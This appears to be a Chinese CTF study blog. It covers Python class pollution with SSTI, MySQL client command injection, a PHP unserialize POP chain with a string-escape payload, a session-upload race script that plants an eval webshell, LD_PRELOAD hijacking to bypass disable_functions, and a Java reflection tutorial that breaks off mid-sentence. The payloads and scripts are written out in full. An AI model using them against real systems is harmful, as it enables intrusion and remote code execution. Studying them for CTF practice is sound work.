if request.is_json:
merge(json.loads(request.data), instance)
result = heaven.create()
message = result["message"]
return "这个魔术还行吧
" + message
else:
return "我要json的魔术"
return "记得用POST方法把魔术交上来"


#heaven.py

def create(kon="Kon", pure="Pure", *, confirm=False):
if confirm and "lucky_number" not in create.__kwdefaults__:
return {"message": "嗯嗯,我已经知道你要创造东西了,但是你怎么不告诉我要创造什么?", "lucky_number": "nope"}
if confirm and "lucky_number" in create.__kwdefaults__:
return {"message": "这是你的lucky_number,请拿好,去/check下检查一下吧", "lucky_number": create.__kwdefaults__["lucky_number"]}

return {"message": "你有什么想创造的吗?", "lucky_number": "nope"}

也是一个原型链污染,具体污染什么可以直接通过源码看

1
2
3
4
5
6
7
8
9
#heaven.py

def create(kon="Kon", pure="Pure", *, confirm=False):
if confirm and "lucky_number" not in create.__kwdefaults__:
return {"message": "嗯嗯,我已经知道你要创造东西了,但是你怎么不告诉我要创造什么?", "lucky_number": "nope"}
if confirm and "lucky_number" in create.__kwdefaults__:
return {"message": "这是你的lucky_number,请拿好,去/check下检查一下吧", "lucky_number": create.__kwdefaults__["lucky_number"]}

return {"message": "你有什么

可以看到在heaven.py里面有一个函数就是create里面有两个if需要绕过

第一就是confirm参数为true,其次luckynumber在create._kwdefaults(这个就是create函数关键字参数的默认值的字典)中,这里就是我们的幸运数字,题目直接给了

思路还是一样通过获取全局属性进行修改函数里面kwdefaults的值即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
{
"__init__":{
"__globals__":{
"heaven":{
"create":{
"__kwdefaults__":{
"confirm":"True",
"lucky_number":"5346"
}
}
}
}
}
}

最后查看/check给出一个/ssSstTti1最后通过ssti来得flag

1
{{config.__class__.__init__.__globals__['os'].popen('cat /f*').read()}}

这里还是有一个非预期解直接通过静态目录污染即可,我感觉这里是出题人的疏忽吧

1
2
3
4
5
6
7
8
9
{
"__init__":{
"__globals__":{
"app":{
"_static_folder":"./"
}
}
}
}

再访问/static/flag

[Fin] RCE or Sql Inject

1
2
3
4
5
6
7
8
9
10
11
<?php
highlight_file(__FILE__);
$sql = $_GET['sql'];
if (preg_match('/se|ec|;|@|del|into|outfile/i', $sql)) {
die("你知道的,不可能有sql注入");
}
if (preg_match('/"|\$|`|\\\\/i', $sql)) {
die("你知道的,不可能有RCE");
}
$query = "mysql -u root -p123456 -e \"use ctf;select 'ctfer! You can\\'t succeed this time! hahaha'; -- " . $sql . "\"";
system($query);

这里将sql注入又进行了过滤,所以使用sql注入就不可能了

这里就需要通过rce来读取flag,题目是一个比较冷门的考点,mysql命令行程序的命令执行,常见于mysql有suid时的提权

1
2
%0asystem whoami //这样通过换行符来执行命令
%0asystem export //通过环境变量读flag

[Fin] ez_php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
<?php 
highlight_file(__file__);
function substrstr($data)
{
$start = mb_strpos($data, "[");
$end = mb_strpos($data, "]");
return mb_substr($data, $start + 1, $end - 1 - $start);
}

class Hacker{
public $start;
public $end;
public $username="hacker";
public function __construct($start){
$this->start=$start;
}
public function __wakeup(){
$this->username="hacker";
$this->end = $this->start;
}

public function __destruct(){
if(!preg_match('/ctfer/i',$this->username)){
echo 'Hacker!';
}
}
}

class C{
public $c;
public function __toString(){
$this->c->c();
return "C";
}
}

class T{
public $t;
public function __call($name,$args){
echo $this->t->t;
}
}
class F{
public $f;
public function __get($name){
return isset($this->f->f);
}

}
class E{
public $e;
public function __isset($name){
($this->e)();
}

}
class R{
public $r;

public function __invoke(){
eval($this->r);
}
}

if(isset($_GET['ez_ser.from_you'])){
$ctf = new Hacker('{{{'.$_GET['ez_ser.from_you'].'}}}');
if(preg_match("/\[|\]/i", $_GET['substr'])){
die("NONONO!!!");
}
$pre = isset($_GET['substr'])?$_GET['substr']:"substr";
$ser_ctf = substrstr($pre."[".serialize($ctf)."]");
$a = unserialize($ser_ctf);
throw new Exception("杂鱼~杂鱼~");
}

这个题看到一个pop链,就可以先去构造,需要注意的是这里需要绕过throw new Exception(“杂鱼~杂鱼~”); ,所以,这里就需要去提前触发Hacker里面的__destruct(),这里就可以通过php回收机制来进行绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<?php
class Hacker{
public $start;
public $end;
public $username="hacker";
}

class C{
public $c;
}

class T{
public $t;
}
class F{
public $f;
}
class E{
public $e;
}
class R{
public $r;
}
$a = new Hacker();
$a->end = &$a->username;
$a->start = new C();
$a->start->c = new T();
$a->start->c->t = new F();
$a->start->c->t->f = new E();
$a->start->c->t->f->e = new R();
$a->start->c->t->f->e->r = 'system("ls");';
$b=array('1'=>$a,'2'=>null);
echo serialize($b);
//a:2:{i:1;O:6:"Hacker":3:{s:5:"start";O:1:"C":1:{s:1:"c";O:1:"T":1:{s:1:"t";O:1:"F":1:{s:1:"f";O:1:"E":1:{s:1:"e";O:1:"R":1:{s:1:"r";s:13:"system("ls");";}}}}}s:3:"end";s:6:"hacker";s:8:"username";R:9;}i:2;N;}

序列化的结果在最后有一个i:2;,改为i:1,来提前触发__destruct()

1
a:2:{i:1;O:6:"Hacker":3:{s:5:"start";O:1:"C":1:{s:1:"c";O:1:"T":1:{s:1:"t";O:1:"F":1:{s:1:"f";O:1:"E":1:{s:1:"e";O:1:"R":1:{s:1:"r";s:13:"system("ls");";}}}}}s:3:"end";s:6:"hacker";s:8:"username";R:9;}i:1;N;}

这里就已经完成第一步了,接下来就要看如何提交参数和进行逃逸

参数的合法可以直接将第一个改为[即可 ez[ser.fromyou 否则后面的.会被解析为

接下来就得开始字符串逃逸的操作,首先需要知道一点,可以查看对于比赛的题目来进行类似

https://chenxi9981.github.io/ctfshow_XGCTF_%E8%A5%BF%E7%93%9C%E6%9D%AF/#Web

1
2
3
每发送一个%f0abc,mb_strpos认为是4个字节,mb_substr认为是1个字节,相差3个字节
每发送一个%f0%9fab,mb_strpos认为是3个字节,mb_substr认为是1个字节,相差2个字节
每发送一个%f0%9f%9fa,mb_strpos认为是2个字节,mb_substr认为是1个字节,相差1个字节

这里如果直接将我们构造好的链子上传就变为了

1
O:6:"Hacker":3:{s:5:"start";s:214:"{{{a:2:{i:1;O:6:"Hacker":3:{s:5:"start";O:1:"C":1:{s:1:"c";O:1:"T":1:{s:1:"t";O:1:"F":1:{s:1:"f";O:1:"E":1:{s:1:"e";O:1:"R":1:{s:1:"r";s:13:"system("ls");";}}}}}s:3:"end";s:6:"hacker";s:8:"username";R:9;}i:2;N;}}}}";s:3:"end";N;s:8:"username";s:6:"hacker";}

前面的其中的38个字符是没有用的,后面的可以不用管,会在序列化时被忽视,所以只需要将前面的去除即可

1
O:6:"Hacker":3:{s:5:"start";s:214:"{{{

最后面的payload就出来了

1
substr=%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0%9fab&ez[ser.from_you=a:2:{i:1;O:6:"Hacker":3:{s:5:"start";O:1:"C":1:{s:1:"c";O:1:"T":1:{s:1:"t";O:1:"F":1:{s:1:"f";O:1:"E":1:{s:1:"e";O:1:"R":1:{s:1:"r";s:13:"system("ls");";}}}}}s:3:"end";s:6:"hacker";s:8:"username";R:9;}i:1;N;}

最后面就直接去读flag即可

1
?substr=%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0%9fab&ez[ser.from_you=a:2:{i:1;O:6:"Hacker":3:{s:5:"start";O:1:"C":1:{s:1:"c";O:1:"T":1:{s:1:"t";O:1:"F":1:{s:1:"f";O:1:"E":1:{s:1:"e";O:1:"R":1:{s:1:"r";s:17:"system("cat /*");";}}}}}s:3:"end";s:6:"hacker";s:8:"username";R:9;}i:1;N;}

相关链接:https://www.freebuf.com/articles/web/288430.html

这个一般是在文件上传题中发现无法上传成功,并且存在文件包含漏洞的时候就可以尝试是否存在条件竞争的条件

首先要进行条件竞争,就需要看以下.php.ini文件配置中的信息

1
2
3
4
session.upload_progress.enabled = on
session.upload_progress.cleanup = on
session.upload_progress.prefix = "upload_progress_"
session.upload_progress.name = "PHP_SESSION_UPLOAD_PROGRESS"
1
2
3
4
session.upload_progress.enabled可以控制是否开启session.upload_progress功能
session.upload_progress.cleanup可以控制是否在上传之后删除文件内容
session.upload_progress.prefix可以设置上传文件内容的前缀
session.upload_progress.name的值即为session中的键值

这里简单的分析一下

session.upload_progres.enabled = on可以将我们上传的文件的信息存储在session中,这里就要去了解如何初始化session和如何来将信息写入session的

php.ini中session.use_strict_mode选项默认是0,在这个情况下,用户可以自己定义自己的sessionid,例如当用户在cookie中设置sessionid=flag时,PHP就会生成一个文件sess_flag,一般文件的地址在tmp临时目录下,此时也就初始化了session,并且会将上传的文件信息写入到文件/tmp/sess_flag中去,具体文件的内容是什么,后面会写到。

然后session.upload_progress.cleanup = on代表文件上传完成之后文件内容会被清除,这样就导致无法存储我们构造的payload,所以我们在这里就需要条件竞争来帮组我们进行获取

具体是因为在创建session文件时,到session清除之前会有一定的时间差,这样如果把握好中间的时间就可以来进行我们的文件包含,从而触发payload

这里就通过ctfshow web82的的题目来进行实验

首先需要先有一个文件包含的地方,这里就是一个参数file来实现文件包含

先看看题目源码:

1
2
3
4
5
6
7
8
9
10
11
<?php
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}

一般的常见的session路径为/tmp 或 /var/lib/php/session目录下

这里的路径默认为/tmp/sess_PHPSESSID

这里没有一个上传的接口,就需要我们通过自己在本地来创造一个上传的接口这里要注意一下有关上传的参数name,这里的PHP_SESSION_UPLOAD_PROGRESS为包含的关键

1
2
3
4
5
6
7
8
9
10
11
12
13
<!DOCTYPE html>
<html>
<body>
<form action="https://xxxxxx/" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="<?php system('cat f*'); ?>" />
<input type="file" name="file" />
<input type="submit" value="submit" />
</form>
</body>
</html>
<?php
session_start();
?>

这个是文件包含的请求包

成功获取的报文是这样的

1
2
upload_progress_www-data
|a:5:{s:10:"start_time";i:1725970055;s:14:"content_length";i:368;s:15:"bytes_processed";i:368;s:4:"done";b:0;s:5:"files";a:1:{i:0;a:7:{s:10:"field_name";s:4:"file";s:4:"name";s:8:"wjsc.php";s:8:"tmp_name";N;s:5:"error";i:0;s:4:"done";b:0;s:10:"start_time";i:1725970055;s:15:"bytes_processed";i:368;}}}

可以看到返回的报文,www-data就是PHP_SESSION_UPLOAD_PROGRESS的代码执行,这里就可以来进行任意文件执行,但是如果一直这样跑就比较麻烦

可以直接通过python脚本来帮助我们来实现文件包含的条件竞争,采用多线程来实现条件竞争

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#coding=utf-8

import io
import requests
import threading
sessid = 'exp'
data = {"cmd":"system('whoami');"}
def write(session):
while True:
f = io.BytesIO(b'a' * 1024 * 50)
resp = session.post( 'https://xxxxx.xx/', data={'PHP_SESSION_UPLOAD_PROGRESS': '<?php eval($_POST["cmd"]);?>'}, files={'file': ('test.txt',f)}, cookies={'PHPSESSID': sessid} )
def read(session):
while True:
resp = session.post('https://xxxxx.xx/?file=/tmp/sess_'+sessid,data=data)
if 'test.txt' in resp.text:
print(resp.text)
event.clear()
else:
print("[+++++++++++++]retry")
if __name__=="__main__":
event=threading.Event()
with requests.session() as session:
for i in range(1,30):
threading.Thread(target=write,args=(session,)).start()

for i in range(1,30):
threading.Thread(target=read,args=(session,)).start()
event.set()

相关的文章链接:https://www.cnblogs.com/sandeepin/p/ld-preload-inject.html

首先介绍一下什么是LD_PRELOAD

LD_PRELOAD是一个环境变量,它允许你指定在程序启动之前需要预先加载(preload)的共享库(shared libraries)。当程序启动时,动态链接器(dynamic linker/loader)会首先加载这些通过LD_PRELOAD指定的库,然后才加载程序的其他依赖库。这可以用于拦截或修改程序的函数调用,实现诸如调试、性能分析、功能增强或替换原有库中的函数等目的。

这里就导致,如果我们在预先加载的库中写入危险命令就可以触发,一般的库都是以 .so 结尾,并且为c语言写的,需要将一个.c文件进行编译后生成一个共享库在将其设置为LD_PRELOAD默认的即可

这里有一个例子:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
//首先创建一个 1234.c 是一个c语言生成随机数
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
int main() {
srand(time(NULL));
int i = 10;
while(i--)
printf("%d\n", rand()%100);
return 0;
}

//再创建一个 1111.c 让它返回固定的值
int rand() {
return 42;
}

在kali中来进行编译执行:

1
gcc ./1234.c -o 1234 //将1234.c编译为一个可执行文件1234

可以看到编译成功了,现在就可以执行,应该不出所料为10个随机数,下面就可以开始实验

1
gcc -shared -fPIC 1111.c -o 1111.so //将1111.c编译为一个共享库

现在就是去修改LD_PRELOAD默认的数据

1
2
3
LD_PRELOAD=$PWD/1111.so ./1234 //这样就先当于在运行1234前动态加载1111.so,但下一次就不会了
export LD_PRELOAD=$PWD/1111.so //这里就先当于设置了全局环境变量,对所有都有约束
unset LD_PRELOAD //这个就可以恢复最初的

这样就变为我们控制的值,相当于它加载的rand函数被调包了,调用成我们生成的1111.so中的rand函数,这样就可以实现控制

这里可以提供一个命令看看其执行时用于打印程序或者库文件所依赖的共享库列表

1
ldd 1234

这里还有很多的例子,比如我们知道一个命令它会调用什么库,我们可以先进行拦截,最后在进行额外的操作这里也有一个实验,但是做法都一样,通过重写其中的一个函数来实现危险的方法调用

首先先确定其调用的函数,这里是通过ls命令为例子,其它的命令也是一样,在ls命令中就存在一个比较特殊的函数strncmp

1
2
readelf -Ws /usr/bin/ls //这样可以查找ls在调用时会调用哪些API 
readelf -Ws /usr/bin/ls|grep strncmp //查看是否ls命令调用该函数

这里获取其strncmp的源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#include <stdio.h>

int strncmp(const char *s1, const char *s2, size_t n)
{
while(n && *s1 && *s2)
{
if(*s1 != *s2)
return (unsigned char)*s1 - (unsigned char)*s2;
s1++;
s2++;
n--;
}

if(!n)
return 0;
if(*s1)
return 1;
if(*s1 == *s2 )
return 0;
return -1;
}

函数的原型,这里如果要进行重写就要确保函数的参数相同不然就可能报错,从而实验不成功

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

void payload() {
printf("hello i am haker!!!\n");
}

int strncmp(const char *s1, const char *s2, size_t n) {
if (getenv("LD_PRELOAD") == NULL) {
return 0;
}
unsetenv("LD_PRELOAD");
payload();
}
1
2
3
4
getenv //用于从环境变量中取字符串,即获取环境变量的值
putenv //用于改变或增加环境变量的内容。在C语言中,putenv函数接受一个格式为name=value的字符串,如果该环境变量已存在,则更新其值;如果不存在,则添加该环境变量。
setenv //是putenv的一个更安全的替代品,因为它允许指定是否覆盖已存在的环境变量,并且不会修改传入的字符串。
unsetenv //用于删除指定的环境变量。

这里就可以在执行ls命令时输出hello i am haker!!!,当然在这里我们也可以来执行危险函数,只需修改payload里面的内容即可

这里还有一个用途,通过attribute来进行LD_PRELOAD劫持

GCC 有个 C 语言扩展修饰符 attribute((constructor)),可以让由它修饰的函数在 main() 之前执行,一旦某些指令需要加载动态链接库时,就会立即执行它

1
2
3
4
5
6
7
8
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

__attribute__ ((__constructor__)) void preload (void){
unsetenv("LD_PRELOAD");
printf("i am hacker!!\n"); //这里可以进行修改
}

可以看到所有的命令执行都触发了危险的函数

最后就是通过LD_PRELOAD劫持来绕过Disable_Functions

在有些时候就会出现,我们没有办法读取通过命令来执行读取flag的操作就可以试试LD_PRELOAD劫持来实现命令读取,具体也是一样,一般步骤都是一样的,但是需要执行 这个修改LD_PRELOAD的语句有点难,一般就是通过php文件包含来实现,通过php代码来实现这个操作

export LD_PRELOAD=$PWD/1111.so 再配合你所写的.so文件即可

php文件里面我还是推荐统一的写法,通过执行php文件里面的内容就可以修改环境,但是要先有这个文件,还有需要注意的一点就是该文件是由权限访问的,所以就需要我们将它放置在tmp目录下最好

1
2
3
4
5
<?php
putenv("LD_PRELOAD=/var/tmp/1222.so");
mail("","","","");
error_log("",1,"","");
?>

.so文件的内容,就可以自己选择,通过上面的方法,但是还是推荐最后一个,因为它可以在任意命令执行前进行执行

1
2
3
4
5
6
7
8
9
10
11
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
void payload() {
system("ls / >> /var/tmp/test.php");

}
__attribute__ ((__constructor__)) void preload (void){
unsetenv("LD_PRELOAD");
payload();
}

这里就有一个配套的练习

[极客大挑战 2019]RCE ME

直接给源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
error_reporting(0);
if(isset($_GET['code'])){
$code=$_GET['code'];
if(strlen($code)>40){
die("This is too Long.");
}
if(preg_match("/[A-Za-z0-9]+/",$code)){
die("NO.");
}
@eval($code);
}
else{
highlight_file(__FILE__);
}
?>

很正常的无字母,这里先去构造一个phpinfo()看看有没有什么信息

1
2
3
4
5
6
7
<?php 
error_reporting(0);
$a='phpinfo';
$b=urlencode(~$a);
echo "?code=(~".$b.")();";
?>
//?code=(~%8F%97%8F%96%91%99%90)();

这里它过滤了很多的函数,直接进行命令就不太可能,需要进行绕过Disable_Functions,可以先通过木马连接蚁剑方便后序的操作

1
2
3
4
5
6
7
8
9
<?php 
error_reporting(0);
$a='assert';
$b=urlencode(~$a);
$c='(eval($_POST[1]))';
$d=urlencode(~$c);
echo "?code=(~".$b.")(~".$d.");";
//?code=(~%9E%8C%8C%9A%8D%8B)(~%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%CE%A2%D6%D6);
?>

连接成功,这里有两个flag,第一个打开什么都没有,第二个是readflag一个可执行文件,但是无法正常执行,这里需要绕过disable_functions才可以正常的获得flag

可以通过蚁剑的插件来进行绕过,这里就不多讲了

现在通过LD_PRELOAD劫持来实现,需要先创建两个文件

一个php文件

1
2
3
4
5
<?php
putenv("LD_PRELOAD=/var/tmp/1222.so");//这里改为对应文件即可
mail("","","","");
error_log("",1,"","");
?>

一个c语言文件

1
2
3
4
5
6
7
8
9
10
11
12
13
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
void payload() {
system("cat /flag >> /var/tmp/test.php");
system("tail /flag >> /var/tmp/test.php");
system("/readflag >> /var/tmp/test.php");

}
__attribute__ ((__constructor__)) void preload (void){
unsetenv("LD_PRELOAD");
payload();
}

再通过kali将.c文件编译为.so文件进行上传即可

最后通过一句话木马来进行文件包含即可

1
2
?code=(~%9E%8C%8C%9A%8D%8B)(~%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%CE%A2%D6%D6);
1=include("/var/tmp/shell1.php");

最后就可以看到该目录多一个test.php,再打开就可以的flag

反射

在我看来java是反射机制,带来更广的攻击面,比如:获取属性,修改属性值,调用方法之类的,这样就使得利用空间更大了

动态与静态语言

动态语言 就是在运行时可以改变其结构的语言:例如新的函数、对象、甚至代码可以被引进,已有的函数可以被删除或是其他结构上的变化。通俗点说就是在代码运行时代码可以根据某些条件改变自身结构。

静态语言 与动态语言相对应,运行时结构不可变的语言就是静态语言。

Java不是动态语言,但Java可以称之为”准静态语言”。即Java有一定的动态性,我们可以利用反射机制获得类似动态语言的特性。java的动态性让编程的时候更加灵活

反射机制(Reflection)

Reflection(反射)是Java被视为动态语言的关键,反射机制允许程序在执行期借助Reflection API取得任何类的内部信息,并且直接操作任意对象的内部属性及方法、

1
Class c =Class.forName("java.a=lang.String")//需要抛出异常

流程

加载完类以后,在堆内存的方法区中就会产生一个Class类型的对象(一个类只有一个Class对象),这个对象就包含了一个完整的类的结构信息。我们可以通过这个对象看到类的结构。这个对象就像一面镜子,透过这个镜子看到类的结构,所以,我们现象的称之为:反射

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
package reflection;

//什么叫反射
public class day1 {
public static void main(String[] args) throws ClassNotFoundException {
//通过反射获取类的Class对象
Class s1=Class.forName("reflection.test");
System.out.println(s1);
Class s2=Class.forName("reflection.test");
Class s3=Class.forName("reflection.test");

//一个类在内存中只有一个Class对象
//一个了被加载后,类的整个结构都会被封装在Class对象中
System.out.println(s1.hashCode());//1915910607
System.out.println(s2.hashCode());//1915910607
System.out.println(s3.hashCode());//1915910607
}
}

//实体类:pojo entity
class test{
private String name;
public int age;
private int id;

public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
public int getAge() {
return age;
}
public void setAge(int age) {
this.age = age;
}
public int getId() {
return id;
}
public void setId(int id) {
this.id = id;
}
@Override
public String toString() {
return "test{" +
"name='" + name + '\'' +
", age=" + age +
", id=" + id +
'}';
}
}

几种常用获取Class的方法

有三种的形式

1
2
3
Class c =Class.forName("java.a=lang.String")//需要抛出异常 throws ClassNotFoundException
Class c1=person.getClass();
Class c2=类名.class;
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
package reflection;

public class day2 {
public static void main(String[] args) throws ClassNotFoundException {
Person aa=new student();
System.out.println("this is "+aa.name);

//获取Class的几种方法
//方法一 通过对象获得
Class c1=aa.getClass();
System.out.println("c1.hashCode()="+c1.hashCode());
//方法二 通过forname获得
Class c2=Class.forName("reflection.student");
System.out.println("c2.hashCode()="+c2.hashCode());
//方法3 通过类名.Class获得
Class c3=student.class;
System.out.println("c3.hashCode()="+c3.hashCode());
//方法4 通过内置的 TYPE来获得 有局限
Class c4=Integer.TYPE;
System.out.println(c4);
/*输出
this is student
c1.hashCode()=284720968
c2.hashCode()=284720968
c3.hashCode()=284720968
int
**/
//获得父类类型
Class c5=c1.getSuperclass();
System.out.println(c5);//输出 class reflection.Person
}
}
class Person{
String name;
public Person(String name){
this.name = name;
}
public Person(){
}

@Override
public String toString() {
return "Person{" +
"name='" + name + '\'' +
'}';
}
}
class teacher extends Person{
public teacher(){
this.name="teacher";
}
}
class student extends Person{
public student(){
this.name="student";
}
}

java类加载内存分析

在Java中的内存分为三个部分,栈 堆 方法区

类的加载过程

类的加载(Load) 类加载器完成将类的class文件读入内存并创建java.lang.Class对象操作。

类的链接(Link) 将类的二进制数据合并进JRE,在合并的过程中可以对类进行校验,检查其是否存在安全问题,是否符合JVM语法规范,接着为类变量(static)分配内存和设置默认初始值,这些内存在方法区中进行分配。最后在虚拟机中将常量名替换为引用地址。

类的初始化(Initialize) JVM对类进行初始化,过程中执行类构造器的方法,此方法是编译期自动收集类中的变量赋值动作和静态代码合并而成的,且虚拟机会保证类构造器的方法会在多线程中被正确的加锁和同步。且在初始化过程中,如果发现类的父类还没有被初始化,则会优先初始化其父类。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
package reflection;


public class day4 {
public static void main(String[] args) {
A a=new A();
System.out.println(a.q);}
}
class A{
static int q=100;
static{
System.out.println("原来的q="+q);
q=200;
System.out.println("A类静态代码快构造成功"+q);
}
public A() {
q=300;
System.out.println("A的无参构造成功"+q);
}
}
/*
原来的q=100
A类静态代码快构造成功200
A的无参构造成功300
300
*/

会发生类初始化的情况:(类Class的主动引用)

1.虚拟机启动,首先初始化main方法所在的类

2.new一个类对象的时候

3.调用类静态成员(非final)和静态方法

4.使用java.lang.reflect包的方法对类进行反射调用时

5.初始化一个类,如果其父类没有被初始化,则优先初始化其父类

不会发生类初始化(类的被动引用)

1.当访问哪一个静态域时,只有真正声明这个域的类才被初始化

2.通过数组定义类引用时

3.引用常量不会触发初始化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
package reflection;

public class day5 {
static{
System.out.println("main被初始化");
}
public static void main(String[] args) throws ClassNotFoundException {
//1.主动被初始化
//new一个类
//s a=new s();
//输出:main被初始化
// f被初始化
// s被初始化

//反射也会产生主动初始化
//Class.forName("reflection.s");
//main被初始化
//f被初始化
//s被初始化

//子类引用父类的static变量
//System.out.println(s.q);
//main被初始化
//f被初始化
//100

//通过数组定义类引用,不会触发类的初始化
//s[] w=new s[10];
//main被初始化

//引用常量不会触发此类的初始化
System.out.println(s.b);
//main被初始化
//100
}

}
class f{
static{
System.out.println("f被初始化");
}
static int q=100;
}
class s extends f{
static int a=100;
static{
System.out.println("s被初始化");
}
static final int b=100;
}
类加载器

作用将class文件字节码加载到内存,并将这些静态数据转换成方法区的运行时数据结构,然后再生成一个代表这个类的java.lang.class对象,作为方法区中类数据的访问入口

类缓存:标准的JavaSE类加载器可以按要求查找类,但是一旦某个类被加载到类加载器中,它将维持加载(缓存)一段时间,不过JVM垃圾回收机制可以回收这些class对象

三种类型的**类加载器**

引导类加载器:用c++编写的,是JVM自带的类加载器,负责Java平台核心库,用来装载核心类库。该类加载器无法直接获取

扩展类加载器:负责jre/lib/ext目录下的jar包或-D java.ext.dirs 指定目录下的jar包装入工作库

系统类加载器:负责java -classpath 或-D java.class.path所指的目录下的类与jar包装入工作,是最常用的加载器

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
package reflection;

public class day6 {
public static void main(String[] args) throws Exception {
//获取系统类的加载器
ClassLoader systemClassLoader = ClassLoader.getSystemClassLoader();
System.out.println(systemClassLoader);//jdk.internal.loader.ClassLoaders$AppClassLoader@36baf30c

//获取系统类加载器的父类加载--》扩展类加载器
ClassLoader parent1=systemClassLoader.getParent();
System.out.println(parent1);//jdk.internal.loader.ClassLoaders$PlatformClassLoader@723279cf

//获取扩展类加载器的父类加载器--》根加载器(C/c++)
ClassLoader parent2=parent1.getParent();
System.out.println(parent2);//null

//测试当前类是哪种加载器加载的
ClassLoader qwe=Class.forName("reflection.day6").getClassLoader();
System.out.println(qwe);//jdk.internal.loader.ClassLoaders$AppClassLoader@36baf30c

//测试JDK内置的类是谁加载的
ClassLoader qwe1=Class.forName("java.lang.Object").getClassLoader();
System.out.println(qwe1);//null

//获取系统类加载器可以加载的路径
System.out.println(System.getProperty("java.class.path"));
//D:\javadm\JavaSE\javajcyf\src\out\production\javajcyf
}
}
获取类的运行时结构

通过反射获取运行时类的完整结构

Field Method Constructor Superclass Interface Annotation

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
package reflection;


import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;

//获得类的信息
public class day7 {
public static void main(String[] args) throws Exception {
Class aa=Class.forName("reflection.test");

//获得类的名字
System.out.println(aa.getName()); //获得包名+类名
System.out.println(aa.getSimpleName()); //获得类名

//获得类的属性
Field[] fields=aa.getFields();//只能获得public属性
for(Field f:fields ){
System.out.println(f);
}

fields=aa.getDeclaredFields(); //找到全部的属性
for(Field f:fields ){
System.out.println(f);
}

//获得指定属性的值
Field name=aa.getDeclaredField("name");
System.out.println(name);

//获得类中的方法
System.out.println("----------------------------");
Method[] methods=aa.getMethods(); //获得本类及其父类的全部方法
for(Method m:methods ){
System.out.println("正常的:"+m);
}
methods=aa.getDeclaredMethods(); //获得本类的所有方法(包括私有方法)
for(Method m:methods ){
System.out.println("getDeclaredMethods:"+m);
}

//获得指定的方法
//后面的参数类型可以用来判断 重载的方法
System.out.println("----------------------------");
Method getname=aa.getMethod("getName");
Method setname=aa.getMethod("setName",String.class);
System.out.println(getname);
System.out.println(setname);

//获得指定的构造器
System.out.println("----------------------------");
Constructor[] constructors=aa.getConstructors();//获得本类的方法
for(Constructor c:constructors ){
System.out.println(c);
}
constructors=aa.getDeclaredConstructors();//获得全部方法
for(Constructor c:constructors ){
System.out.println("##"+c);
}
//获得指定的构造器
Constructor constructor=aa.getConstructor(String.class);
System.out.println(constructor);
}
}

有了Class对象,能做什么

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
package reflection;

import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;

//动态的创建对象,通过反射
public class day8 {
public static void main(String[] args) throws Exception {
//获得Class对象
Class c1=Class.forName("reflection.test");

//创造一个对象
test a=(test)c1.newInstance(); //可以创造对象,本质上调用了无参构造器 如果没有就会报错
System.out.println(a);//test{name='null', age=0, id=0}

//通过构造器创建对象
Constructor c2=c1.getDeclaredConstructor(String.class,int.class);//括号里面为其构造器的参数
Object c3=c2.newInstance("qqqqqq",10); //和上面的用法相同
System.out.println(c3);//test{name='qqqqqq', age=10, id=0}

//通过反射调用普通方法
test a1=(test)c1.newInstance();
Method m1=c1.getDeclaredMethod("setName",String.class); //获得一种方法
m1.invoke(a1,"qwertyui");
System.out.println(a1.getName());//无参方法可以直接调用 输出qwertyui

//通过反射来操作属性
test a2=(test)c1.newInstance();
Field f1=c1.getDeclaredField("age");
//不可以直接操作私有属性,需要我们关闭程序的安全检测,不然会报错
